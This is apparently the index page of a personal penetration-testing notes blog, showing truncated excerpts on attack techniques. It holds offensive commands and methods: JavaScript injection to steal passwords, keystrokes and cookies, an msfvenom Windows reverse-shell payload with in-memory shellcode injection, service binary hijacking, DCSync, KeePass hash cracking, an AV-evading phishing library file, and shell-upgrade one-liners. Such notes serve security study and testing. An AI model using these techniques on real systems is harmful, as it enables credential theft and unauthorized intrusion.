akde/infosec

Information security is ultimately about managing risk


  • CAINE can be used as a live sys­tem to per­form foren­sic stud­ies of a sys­tem (e.g. after a Incident).


  • If the sys­tem is pow­ered off: If the sys­tem is active: If the sys­tem is a VM: Oth­er systems: Ques­tions:


  • Get hidden content from password fields Sce­nario: Use JavaScript for extrac­tion. Copy and pase the fol­low­ing into the web browser’s console: Extract keystrokes live from a Browser Sce­nario: Do: Extract Cookies Sce­nario: Inject/Do: Extract local / session storage Like above: Stealing site passwords Sce­nario: Then, inject JS which adds an invis­i­ble user/username/name text field and…


  • Pacu can be used to test an AWS account. Setup: Unauthorized enumeration Requires only an AWS access key and secret key. Enu­mer­ate roles. Cre­ate a list with pos­si­ble roles to check. run iam__enum_roles --word-list /tmp/roles.txt --account-id $accountId Enu­mer­ate users which belong to a (pre­vi­ous­ly found) role. Cre­ate also a list of pos­si­ble user names. run iam__enum_users --word-list…


  • Initial (network) enumeration Check where a ser­vice is host­ed by quer­ing the name­serv­er records for our tar­get domain: host -t ns $domain Get more infor­ma­tion / con­fir­ma­tion via a whois query to one pre­vi­ous­ly found domain. whois $previouslyFoundDomain Check where a host is running: host $domainhost $ipFromTheDomain Check more domains of this organ­i­sa­tion / of…


  • Attacking Domain Controller Synchronization The DRS Direc­to­ry Repli­ca­tion Ser­vice is respon­si­ble to repli­cate a DC’s data to mul­ti­ple redun­dant DC’s. Sce­nario: You own a user who has one of the fol­low­ing rights: Nor­mal­ly, users in the fol­low­ing groups have these (could be con­fig­ured oth­er­wise, of course): You can check with the script in Basic Active Direc­to­ry…


  • The four process ID’s For each process, Lin­ux man­ages four UID’s. When a process from a user with UID 1000 is started/forked, then the new process has nor­mal­ly also the UID 1000. How­ev­er, with SUID/GUID it becomes more com­pli­cat­ed, since process­es can get oth­er UIDs than the one of the caller. When a process like passwd…


  • Enumeration In PowerShell Cau­tion: This com­mand works via RDP in an inter­ac­tive ses­sion, but NOT in a non-priv­i­leged bind/winrm shell. All ser­vices: PS> Get-CimInstance -ClassName win32_service | Select Name,State,PathName All run­ning services: PS> Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}PS> Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}…


  • Com­pile it native­ly or not: x86_64-w64-mingw32-gcc searchedName.cpp --shared -o searchedName.dll Restart the ser­vice / appli­ca­tion some­how and check if there is a new admin2 alive. Reflective DLL Injection See https://github.com/stephenfewer/ReflectiveDLLInjection


  • Binary hijacking Check if a bina­ry (e.g. from a ser­vice) is writeable: PS C:\Users\dave> icacls "C:\xampp\apache\bin\httpd.exe"C:\xampp\apache\bin\httpd.exe BUILTIN\Administrators:(F) NT AUTHORITY\SYSTEM:(F) BUILTIN\Users:(F) NT AUTHORITY\Authenticated Users:(RX) Leg­end: If yes, replace it with a more use­ful exe­cute­able, like this one. Com­pile this for the cor­rect tar­get archi­tec­ture and replace the orig­i­nal file. x86_64-w64-mingw32-gcc adduser.c -o adduser.exe Check this with one command:


  • Named pipes A named pipe is a method for remote or local IPC Inter-process communication. Basic commands Where is a program? where ssh Restart the sys­tem now: shutdown /r /t 0 Set file sys­tem attrib­ut­es (which are shown with the dir command): attrib +r file.exe Set file sys­tem per­mis­sions (which are shown with the icacls command):…


  • The hash of a mas­ter pass­word of a Keep­ass kdbx file can be extract­ed with keepass2john Database.kdbx > keepass.hash Then, crack it: /opt/hashcat/hashcat keepass.hash /opt/password_lists/rockyou.txt -m 13400 -r /opt/hashcat/rules/rockyou-30000.rule (!) If there is an error regard­ing salt, check if you have the user­name like “user:” at the begin­ning of the file. Remove it.


  • Short sum­ma­ry of techniques: Example of a manual In-memory injection Cre­ate a reverse shell pay­load for PowerShell: msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.211 LPORT=443 -f powershell -v sc Use this Pow­er­Shell script, which injects the shell­code into the own (Pow­er­Shell) process and exe­cutes it in a new thread: Start a lis­ten­er and exe­cute it in the vic­tim’s…


  • Get infor­ma­tion from a (mini­fied) JS (e.g. from Angular):


  • Files with the exten­sion .Library-ms are sim­i­lar to macOS’s Vol­umes. They can con­tain files and direc­to­ry which looks like local files on the Win­dows Explor­er. Many AV/Malware sys­tems does not detect them currently. Create a Windows Library “Directory” Prepa­ra­tion: Install some­where a DAV share which is avail­able from the vic­tim’s sys­tem which points to a…


  • Short: A user opens a link (e.g. from a phish­ing email) which has a injec­tion in the URL which is then exe­cut­ed on the site as long as the user is logged in. See also com­mand injec­tions post. Class­es: Tip:


  • See also the Web brute force post.


About

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

Checklists

Categories

Checklists: Ports

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';